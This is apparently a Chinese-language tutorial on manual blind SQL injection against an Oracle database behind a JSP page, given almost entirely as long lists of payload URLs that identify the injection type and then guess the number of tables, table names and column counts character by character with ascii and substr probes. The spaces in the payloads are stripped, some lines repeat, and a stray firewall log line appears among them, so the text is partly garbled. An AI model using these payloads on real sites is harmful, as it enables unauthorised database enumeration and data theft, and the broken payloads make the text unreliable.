1、判断注入类型（数字型还是字符型）

字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）

http://www.test.net/index_kaoyan_view.jsp?id=117Anduser>char(0)

http://www.test.net/index_kaoyan_view.jsp?id=117Anduser<char(0)

http://www.test.net/index_kaoyan_view.jsp?id=117'Anduser>char(0)And'1'='1

http://www.test.net/index_kaoyan_view.jsp?id=117'Anduser<char(0)And'1'='1

http://www.test.net/index_kaoyan_view.jsp?id=117'Anduser>char(0)And'%25'='

http://www.test.net/index_kaoyan_view.jsp?id=117'Anduser<char(0)And'%25'='

http://www.test.net/index_kaoyan_view.jsp?id=117)Anduser>char(0)And1in(1

http://www.test.net/index_kaoyan_view.jsp?id=117)Anduser<char(0)And1in(1

http://www.test.net/index_kaoyan_view.jsp?id=117')Anduser>char(0)And('')=('

http://www.test.net/index_kaoyan_view.jsp?id=117')Anduser<char(0)And('')=('

http://www.test.net/index_kaoyan_view.jsp?id=117Andstr(98)>str(97)

http://www.test.net/index_kaoyan_view.jsp?id=117Andstr(98)<str(97)

http://www.test.net/index_kaoyan_view.jsp?id=117'Andstr(98)>str(97)And'1'='1

http://www.test.net/index_kaoyan_view.jsp?id=117'Andstr(98)<str(97)And'1'='1

http://www.test.net/index_kaoyan_view.jsp?id=117'Andstr(98)>str(97)And'%25'='

http://www.test.net/index_kaoyan_view.jsp?id=117'Anduser<char(0)And'%25'=

http://www.test.net/index_kaoyan_view.jsp?id=117'Andstr(98)<str(97)And'%25'='

http://www.test.net/index_kaoyan_view.jsp?id=117)Andstr(98)>str(97)And1in(1

http://www.test.net/index_kaoyan_view.jsp?id=117)Andstr(98)<str(97)And1in(1

http://www.test.net/index_kaoyan_view.jsp?id=117')Andstr(98)>str(97)And('')=('

http://www.test.net/index_kaoyan_view.jsp?id=117')Andstr(98)<str(97)And('')=('

出现正常的页面：

http://www.test.net/index_kaoyan_view.jsp?id=117AndUSER>CHR(0)

http://www.test.net/index_kaoyan_view.jsp?id=117AndUSER<CHR(0)

2、猜解表数量和表名

数据库数量为3：

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTCOUNT(*)FROMUSER_TABLES)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And1>=nvl(length((SELECTCOUNT(*)FROMUSER_TABLES)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTCOUNT(*)FROMUSER_TABLES)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And4>=nvl(length((SELECTCOUNT(*)FROMUSER_TABLES)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3=nvl(length((SELECTCOUNT(*)FROMUSER_TABLES)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117AndUNISTR(1)>UNISTR(0)

以下为猜解数据表数量

数据表第一位为：1

http://www.test.net/index_kaoyan_view.jsp?id=117And52=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And52>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And49=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),1,1))

数据表第二位为：3

http://www.test.net/index_kaoyan_view.jsp?id=117And49=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And65>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And109=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And109>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And99=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And99>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And97=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And97>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And53=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And53>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And51=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),2,1))

数据表第三位为：1

http://www.test.net/index_kaoyan_view.jsp?id=117And51=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And65>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And109=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And109>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And99=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And99>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And97=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And97>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And54=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And54>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And52=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And52>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And52>ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And49=ascii(substr((SELECTCOUNT(*)FROMUSER_TABLES),3,1))

共有131个数据表，见上图。

以下为猜解表名称：

以下为判断第一个表的长度为：2

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And1>=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And4>=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3>nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1)),0)

以下为判断第一个表的第一位值为：A

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),1,1))

以下为判断第一个表AD的第二位值为：D

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And78=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And78>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And71=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And71>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And68=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=1)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

以下为判断第二个表的表ADER的表名长度为：4

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And1>=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And4>=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3>nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And4=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1)),0)

以下为判断第二个表ADER第一位的值为：A

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),1,1))

以下为判断第二个表ADER第二位的值为：D

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And78=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And78>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And71=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And71>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And68=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),2,1))

以下为判断第二个表ADER第三位的值为：E

http://www.test.net/index_kaoyan_view.jsp?id=117And68=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And79=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And79>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And73=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And73>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And73>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And69=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),3,1))

以下为判断第二个表ADER第四位的值为：R

http://www.test.net/index_kaoyan_view.jsp?id=117And69=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And80=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And80>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And80>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And85=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And85>ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And82=ascii(substr((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=2)ORDERBY1DESC)WHEREROWNUM<=1),4,1))

以下为判断第三个表的表名长度为：

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=3)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And1>=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=3)ORDERBY1DESC)WHEREROWNUM<=1)),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTTABLE_NAMEFROM(SELECT*FROM(SELECT*FROM(SELECT*FROMUSER_TABLESORDERBY1ASC)WHEREROWNUM<=3)ORDERBY1DESC)WHEREROWNUM<=1)),0)

3、猜解列名长度和列名：

a)以下为猜解字段长度为：2位

http://www.test.net/index_kaoyan_view.jsp?id=117And0<=nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And1>=nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2<=nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And4>=nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3=nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And3>nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

http://www.test.net/index_kaoyan_view.jsp?id=117And2=nvl(length((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68))),0)

l列名长度为：10位以上

以下猜解列名的长度的第一位为：1（十位）

http://www.test.net/index_kaoyan_view.jsp?id=117And52=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And52>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),1,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And49=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),1,1))

以下猜解列名长度的第二位为：0（个位）

http://www.test.net/index_kaoyan_view.jsp?id=117And49=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And95=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And77=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

Informational10/12/200515:03:25Suspectevent:ICMPTimeExceeded(>1for1seconds)

http://www.test.net/index_kaoyan_view.jsp?id=117And77>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And70>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And67>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And65=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And65>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And109=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And109>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And102>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And99=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And99>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And97=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And97>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And53=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And53>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And51=ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

http://www.test.net/index_kaoyan_view.jsp?id=117And51>ascii(substr((SELECTCOUNT(*)FROMCOLSWHERETABLE_NAME=CHR(65)||CHR(68)),2,1))

